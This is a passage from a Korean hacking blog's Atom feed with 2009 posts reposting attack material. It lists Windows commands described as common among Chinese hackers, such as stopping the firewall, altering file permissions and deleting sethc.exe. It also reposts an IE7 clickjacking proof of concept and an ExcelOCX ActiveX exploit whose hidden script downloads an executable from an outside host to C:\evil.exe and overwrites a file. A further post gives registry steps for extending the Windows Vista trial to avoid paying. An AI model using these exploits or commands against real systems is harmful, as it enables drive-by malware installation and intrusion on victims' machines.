style="font-family:arial;"&gt;4. net start - 프로세서 시작 명령어&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;                    사용법: net start  net start w3svc(iis 시작)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;5. net stop - 지정된 서비스를 중지한다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;                    사용법: net stop net stop sharedaccess (windows 방화벽 중지)&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;6. cacls - 파일 권한을 변경 및 실행&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;                사용법: cacls c:\windows\mm.exe /P everyone:R혹은 caclsc:\progra~1\rising\ravmond.exe /d:everyone&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;7. &amp;amp; - 여개의 명령을 집행한다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;         사용법:del c:\windows\system32\sethc.exe &amp;amp; del c:\windows\system32\dllcache\sethc.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;8. echo y| - “결정(Y/N)을 ? 제시문이 나오면 자동으로 Y를 입력한다&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family: arial;font-family:arial;" &gt;                     사용법:&lt;/span&gt;&lt;span style="font-family: arial;"&gt;echo y|echo y|&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family: arial;font-family:arial;" &gt;cacls c:\windows\mm.exe /P everyone:R;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;9. net user/group&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:arial;"&gt;10. shutdown&lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-3088577719101183932?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/3088577719101183932/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/blog-post.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3088577719101183932'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/3088577719101183932'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/blog-post.html' title='중국 해커들이 자주쓰는 해킹 명령어'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-7594174555809060449</id><published>2009-02-04T16:08:00.000-08:00</published><updated>2009-02-04T16:12:03.106-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Code'/><title type='text'>Internet Explorer 7 Clickjacking</title><content type='html'>#############################################################&lt;br /&gt;# Application Name       : I.nternet Explorer 7&lt;br /&gt;# Vulnerable Type        : Clickjacking&lt;br /&gt;# Author                     : UzmiX&lt;br /&gt;#############################################################&lt;br /&gt;&amp;lt  ------------------- header data end of ------------------- &gt;&lt;br /&gt;&amp;lt html&gt;&lt;br /&gt;&amp;lt body&gt;&lt;br /&gt;&amp;lt div id="open"&lt;br /&gt;onmouseover="document.location='http://www.uzmix.net';"&lt;br /&gt;style="position:absolute;width:8px;height:7px;background:#FFFFFF;border:1px"&gt;&amp;lt /div&gt;&lt;br /&gt;&amp;lt script&gt;&lt;br /&gt;function updatebox(evt) {&lt;br /&gt;mouseX=evt.pageX?evt.pageX:evt.clientX;&lt;br /&gt;mouseY=evt.pageY?evt.pageY:evt.clientY;&lt;br /&gt;document.getElementById('open').style.left=mouseX-2;&lt;br /&gt;document.getElementById('open').style.top=mouseY-2;&lt;br /&gt;}&lt;br /&gt;&amp;lt /script&gt;&lt;br /&gt;&amp;lt center&gt;&lt;br /&gt;&amp;lt br&gt;&lt;br /&gt;&amp;lt br&gt;&lt;br /&gt;&amp;lt a href="http://www.google.com" onclick="updatebox(event)"&gt;&amp;lt font&lt;br /&gt;style="font-family:arial;font-size:32px"&gt;http://www.google.com&amp;lt /font&gt;&amp;lt /a&gt;&lt;br /&gt;&amp;lt /html&gt;&lt;br /&gt;&lt;br /&gt;# milw0rm.com [2009-01-29]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-7594174555809060449?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/7594174555809060449/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/02/internet-explorer-7-clickjacking.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7594174555809060449'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7594174555809060449'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/02/internet-explorer-7-clickjacking.html' title='Internet Explorer 7 Clickjacking'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-7766700899066883706</id><published>2009-01-12T15:39:00.000-08:00</published><updated>2009-01-12T15:42:11.313-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Code'/><title type='text'>ExcelOCX ActiveX 3.2 (Download File) Insecure Method Exploit</title><content type='html'>&amp;lt;html&gt;&lt;br /&gt;&amp;lt;body&gt;&lt;br /&gt;/*&lt;br /&gt;--=0-0-000000000--x==-xxxxxxxxx&amp;lt;br/&gt;&lt;br /&gt;  - &lt;br /&gt;    Excel Viewer OCX 3.2        &amp;lt;br/&gt;&lt;br /&gt;    homepage: www.officeocx.com &amp;lt;br/&gt;&lt;br /&gt;    download: www.brothersoft.com/excel-viewer-ocx-51797.html &amp;lt;br/&gt;&lt;br /&gt; &lt;br /&gt;  - RegKey Safe for Script: True&amp;lt;br/&gt;&lt;br /&gt;  - RegKey Safe for Init: True   &amp;lt;br/&gt;&lt;br /&gt;  - Implements IObjectSafety: True &amp;lt;br/&gt;&lt;br /&gt;  - IDisp Safe:  Safe for untrusted: caller,data &amp;lt;br/&gt;  &lt;br /&gt;  - IPersist Safe:  Safe for untrusted: caller,data  &amp;lt;br/&gt; &lt;br /&gt;  - IPStorage Safe:  Safe for untrusted: caller,data  &amp;lt;br&gt;&lt;br /&gt;  - Tested on Avant Browser 11.7.21 ie 6&lt;br /&gt;                                                       &amp;lt;br/&gt;&lt;br /&gt;Vuln:                                                 &amp;lt;br/&gt;&lt;br /&gt;   1) Arbitrary File Download [HttpDownloadFile]&amp;lt;br/&gt;&lt;br /&gt;   2) Arbitrary file owerwrite [Save]  &amp;lt;br/&gt;&lt;br /&gt;                                         &amp;lt;br/&gt;&lt;br /&gt;  --==0-0000000011011110===    &amp;lt;br/&gt;&lt;br /&gt;&lt;br /&gt;    Propably it worst apps i ever see                      &amp;lt;br/&gt;&lt;br /&gt;    this is  funy  that It is meant as Safe for scripting   &amp;lt;br/&gt;&lt;br /&gt;    They want sell it l0l &amp;lt;br/&gt;&lt;br /&gt;             &lt;br /&gt;---000----------++++---------------000  &amp;lt;br/&gt;&lt;br /&gt;         Alfons Luja                    &amp;lt;br/&gt;&lt;br /&gt;     Pozdrawiam swoich fano'F               &amp;lt;br/&gt;&lt;br /&gt;           9002                            &amp;lt;br/&gt;&lt;br /&gt;            :P                              &amp;lt;br/&gt;&lt;br /&gt;00 -0000000000000000===------------------x &amp;lt;br/&gt;&lt;br /&gt;*/&amp;lt;br/&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;div style="visibility:hidden;"&gt;&lt;br /&gt;&amp;lt;object classid='clsid:18A295DA-088E-42D1-BE31-5028D7F9B965' id='kupa'&gt;&amp;lt;/object&gt;&lt;br /&gt;&amp;lt;script type="text/javascript"&gt;&lt;br /&gt;/* &lt;br /&gt;    I dont know why but this code act correct only first time&lt;br /&gt;    later it just crash ie &lt;br /&gt;    In avant browser always is ok but it is necessary to wait a lot time &lt;br /&gt;    to finsh loading &lt;br /&gt;    - strange :x &lt;br /&gt;*/    &lt;br /&gt;&lt;br /&gt; try{&lt;br /&gt;    var obj = document.getElementById('kupa');&lt;br /&gt;    var rem = "http://www.adalex.pl/motyl/motyl-radio.exe";&lt;br /&gt;    var loc = "C:\evil.exe";&lt;br /&gt;    obj.Save("C:\owerwrite.ini");&lt;br /&gt;    obj.HttpDownloadFile(rem,loc);&lt;br /&gt; }&lt;br /&gt; catch(err){&lt;br /&gt;       window.alert('Poc failed');&lt;br /&gt; }&lt;br /&gt;&amp;lt;/script&gt;&lt;br /&gt;&amp;lt;/div&gt;&lt;br /&gt;&amp;lt;/body&gt;&lt;br /&gt;&amp;lt;/html&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-7766700899066883706?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/7766700899066883706/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/01/excelocx-activex-32-download-file.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7766700899066883706'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/7766700899066883706'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/01/excelocx-activex-32-download-file.html' title='ExcelOCX ActiveX 3.2 (Download File) Insecure Method Exploit'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-8497085489689499325</id><published>2009-01-05T21:28:00.001-08:00</published><updated>2009-01-05T21:28:56.303-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Hacking Code'/><title type='text'>Hack Windows Vista Activation</title><content type='html'>How miserly is that Windows Vista gives you only one month of trial for a whole damn Operating system? I can understand it for a registry cleaner or an antivirus software. But for an OS, isn't it too low? So here is a legal way to increase it and forget about registering by pay.&lt;br /&gt;&lt;br /&gt;   1. check the activation expiry date with the command: slmgr -xpr&lt;br /&gt;   2. Go to bottom left corner&lt;br /&gt;   3. Navigate to this path:&lt;br /&gt;      HKLM\SOFTWARE \Microsoft\Windows NT\CurrentVersion\SL&lt;br /&gt;   4. Double-click SkipRearm and change the value to 1.&lt;br /&gt;   5. Note: this registry hack does not make any sense on a machine which has already been activated!&lt;br /&gt;   6. Now remember to run the 30 day extension command: slmgr -rearm&lt;br /&gt;   7. Restart the machine. After it reboots, run slmgr -xpr and check the expiry date.&lt;br /&gt;   8. Check the registry setting SkipRearm, slmgr resets the value to zero.&lt;br /&gt;&lt;br /&gt;[Note: we don't encourage you to use these techniques (taken from computerperformance.co.uk) because we do not practice them ourselves. But if you do, don't forget to leave a feedback and also before playing with the registry do not forget to make a backup]&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/2513875003853039748-8497085489689499325?l=webhack119.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://webhack119.blogspot.com/feeds/8497085489689499325/comments/default' title='댓글'/><link rel='replies' type='text/html' href='http://webhack119.blogspot.com/2009/01/hack-windows-vista-activation.html#comment-form' title='0개의 덧글'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8497085489689499325'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2513875003853039748/posts/default/8497085489689499325'/><link rel='alternate' type='text/html' href='http://webhack119.blogspot.com/2009/01/hack-windows-vista-activation.html' title='Hack Windows Vista Activation'/><author><name>Web Application Firewall</name><uri>http://www.blogger.com/profile/03811311502795347014</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-2513875003853039748.post-4441388977414855629</id><published>2008-12-25T21:22:00.000-08:00</published><updated>2008-12-25T21:25:33.184-08:00</updated><category scheme='http
